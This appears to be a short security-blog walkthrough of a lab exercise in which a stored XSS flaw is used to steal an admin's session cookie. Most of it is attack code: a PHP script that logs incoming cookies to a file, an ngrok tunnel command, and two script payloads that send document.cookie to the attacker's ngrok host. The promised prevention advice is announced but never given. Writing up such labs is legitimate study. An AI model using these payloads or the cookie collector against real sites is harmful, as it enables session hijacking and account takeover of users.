sec👨‍💻fortress:~#

Defensive By Offensive!.

View on GitHub

Uncovering Critical Vulnerabilities: Exfiltrating Admin Cookies Through Stored XSS



Overview

We are giving a website with 2 users

A normal user page :

An admin page

The task here is to steal the Admin cookie via stored xss, so we can automatically be logged in as admin

Understanding the flow

Preparing our Exploit

<?php

$ip=$_SERVER['HTTP_X_FORWARDED_FOR'];
$ua=$_SERVER['HTTP_USER_AGENT'];


$fp=fopen('cookies.txt' , 'a+');

fwrite($fp, $ip.' '.$ua."\n");
fwrite($fp, urldecode($_SERVER['QUERY_STRING']). " \n\n");
fclose($fp);

?>
$ ngrok http 80

<script> var i=new Image(); i.src="<NGROK-LINK-GOES-HERE>/xss.php?cookie="+document.cookie;</script>
https://52c8-102-89-32-48.ngrok-free.app/{filename}.php

Note : I added the ?test parameter so i will see if it works when i navigate to cookies.txt

Launching Our Exploit

Since we know things are good to go, we can take our malicious XSS payload and attempt to get the admin cookie in /cookies.txt

<script> var i=new Image(); i.src="<NGROK-LINK-GOES-HERE>/xss.php?admin_cookie="+document.cookie;</script>

Note that this doesn’t only affect the admin user, every user cookie will automatically be dumped once there is a page refresh and we have an account takeover right there, there are various ways to prevent this kind of attacks, here are few

Stay Safe